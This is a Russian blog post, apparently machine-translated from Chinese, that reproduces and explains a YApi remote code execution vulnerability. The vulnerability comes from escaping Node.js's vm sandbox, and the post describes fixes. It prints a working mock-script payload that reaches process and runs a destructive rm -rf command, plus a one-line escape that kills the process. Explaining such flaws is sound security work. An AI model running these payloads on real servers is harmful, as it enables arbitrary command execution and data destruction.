Дело в том, что поскольку наш проект использует этот проект Yapi, мы получили раннее предупреждение от группы безопасности несколько дней назад, в котором говорилось, что Yapi подвергся уязвимости в системе безопасности, и вновь зарегистрированные пользователи могут выполнять произвольный код на вашем сервере. и удалять произвольные вещи, дайте мне срочно пересмотреть! !
Я подумал про себя, что такой большой проект с открытым исходным кодом (21,7k) имеет такую серьезную дыру в безопасности, что ее не должно быть.
Я полагаю, что многие мелкие партнеры использовали это программное обеспечение с открытым исходным кодом в качестве инструмента управления интерфейсом, но чтобы некоторые мелкие партнеры не знали, для чего предназначена эта библиотека, я кратко представлю ее.
Y API (github.com/YMFE/yapi) есть эффективный,легко использовать,МощныйПлатформа управления API предназначена для предоставления более элегантных услуг по управлению интерфейсом для разработчиков, продуктов и тестировщиков. Это может помочь разработчикам легко создавать, публиковать и поддерживать API.YApi также предоставляет пользователям отличный интерактивный опыт.Разработчикам нужно только использовать инструменты записи данных интерфейса, предоставляемые платформой, и простые операции щелчка для управления интерфейсом.
Он не только поддерживает развертывание докеров, но также имеет множество подключаемых модулей, которые можно использовать, например подключаемые модули для автоматизированного тестирования, автоматическую генерацию кода и многое другое.
Далее я сказал, что я пошел по пути повторения группы безопасности, чтобы воспроизвести уязвимость Yapi.
Сначала я в своем/Users/qiufeng/my/yapi
создал каталог в1.js
.
Затем откройте проект Yapi — нажмите «Настройки» — «Глобальный фиктивный сценарий» и настройте его.
const sandbox = this
const ObjectConstructor = this.constructor
const FunctionConstructor = ObjectConstructor.constructor
const myfun = FunctionConstructor('return process')
const process = myfun()
mockjson = process.mainModule.require("child_process").execSync("rm -rf /Users/qiufeng/my/yapi/1.js").toString()
Затем посетите наш глобальный фиктивный адрес
Наконец, мы находим нашу1.js
Ушел
Поэтому я немедленно поискал уязвимости безопасности Yapi в Google и обнаружил, что Интернет уже поджарен.Куча жертв, даже Даляньский технологический университет, опубликовали заявление с просьбой немедленно исправить соответствующий код.
Все добываются майнингом, а пересаженный троянский конь пересаживается.
Тогда давайте посмотрим, как исправить эту дыру в безопасности. Официальный сайт в основном решает эту проблему путем слияния PR.
И основной код для исправления этой уязвимости заключается в использованииsafeify
Заменен Node.jsvm
О, это было использованоvm
Модуль, позвольте мне популяризировать его здесьvm
знания, давайте посмотримNode.js
Как определяется официальный сайт.
Модуль vm позволяет компилировать и запускать код в контексте виртуальной машины V8 (The
vm
Модуль позволяет компилировать и запускать код в контексте виртуальной машины V8.). Модуль vm не является механизмом безопасности. Не используйте его для запуска ненадежного кода.
Популярное понимание состоит в том, что он может динамически выполнять некоторый код JavaScript (иeval
,Function
несколько похоже). Конечно, официальный сайт также четко указываетvm
Безопасность модуля.
Такvm
некоторые и общиеeval
,Function
Есть ли разница? Конечно, есть Во-первых, самая большая проблема с eval — это навязчивая проблема, потому что выполнение eval вторгнется в мой текущий код. а такжеvm
Он обеспечивает более безопасную среду песочницы.
Сначала вы можете использоватьvm.Script
метод для создания объекта скрипта:new vm.Script(code[, options])
, API можно свести к следующим трем:
-
script.runInThisContext(opts)
- Запускать скрипт в текущей области, то есть скрипт может обращаться к глобальным переменным текущего скрипта, а не к локальной области. -
script.runInContext(context, opts)
- запустить скрипт в предоставленной области, которая являетсяvm.createContext
результат. существуетscript.runInContext
, вы можете предоставить настраиваемую управляемую песочницу. -
script.runInNewContext(sandbox, opts)
- Запуск скрипта в рамках новой песочницы. которыйrunInNewContext
автоматически позвонит вамvm.createContext
.
Примеры следующие:
const vm = require('vm');
vm.runInThisContext(code, opts);
vm.runInNewContext(code, sandbox, opts);
vm.runInContext(code, context, opts);
vm
Функции «песочницы» реализуются через дополнительную область действия, которая одновременно изолирует внутренние и внешние воздействия.
Пока кажется, чтоvm
Это безопасно Почему произошло это нарушение безопасности?
Причина в особенностях js...
Первый взгляд на кусок кода
const vm = require('vm');
vm.runInNewContext('this.constructor.constructor("return process")().exit()');
Это фрагмент кода, который выглядит беспорядочно, но не стоит недооценивать этот код, он может напрямую привести к завершению вашей программы.
Потом разберем шаг за шагом, будемrunInNewContext
Расширять.
const vm = require('vm');
const sandbox = {};
const script = new vm.Script('this.constructor.constructor("return process")().exit()');
const context = vm.createContext(sandbox);
script.runInContext(context);
Мы видим, что созданиеvm
среды, вам сначала нужно создать объект песочницы, а затем этот объектvm
Выполнить глобальный контекст в скрипте,vm
это указывает наsandbox
.
Потому что приведенный выше код тоже можно дизассемблировать так.
const vm = require('vm');
const sandbox = {};
const ObjectConstructor = sandbox.constructor; // 获取 Object 对象构造函数
const FunctionConstructor = ObjectConstructor.constructor; // 获取 Function 对象构造函数
const foo = FunctionConstructor('return process'); // 构造一个函数,返回process全局变量
const process = foo();
process.exit();
Из этого процесса вывода мы можем легко сделать вывод, чтоvm
Причина ненадежности, во-первых, в том, что this указывает на песочницу, а песочница — это объект, конструктор объекта — это конструктор объекта, а конструктор конструктора объекта — конструктор функции.
Поскольку мы хотим решить эту проблему, можно использовать более безопасныйvm2
илиsafeify
. В следующий раз давайте проанализируем исходный код этих двух библиотек, как они предотвращают ихvm
из недостатков.
Ссылки по теме
сегмент fault.com/ah/119000001…
Оглядываясь назад на предыдущие высоко оцененные статьи автора, вы можете получить больше!
-
Список книг по начальному обучению на 2021 год - Дорога к саморазвитию:
570+
Нравится -
Говоря о водяном знаке на интерфейсе от взлома веб-сайта с дизайном (подробное руководство):
790+
Нравится -
В этой статье вы шаг за шагом раскрываете тайну «загрузки файла».:
140+
Нравится -
10 междоменных решений (с окончательным трюком):
940+
Нравится
Эпилог
❤️Подписаться + Нравится + Избранное + Комментарий + Переслать ❤️, оригинальность - это не просто, поощряйте автора создавать лучшие статьи
Обратите внимание на публичный аккаунт秋风的笔记
, внешний общедоступный аккаунт, посвященный предварительным интервью, разработке и открытому исходному коду.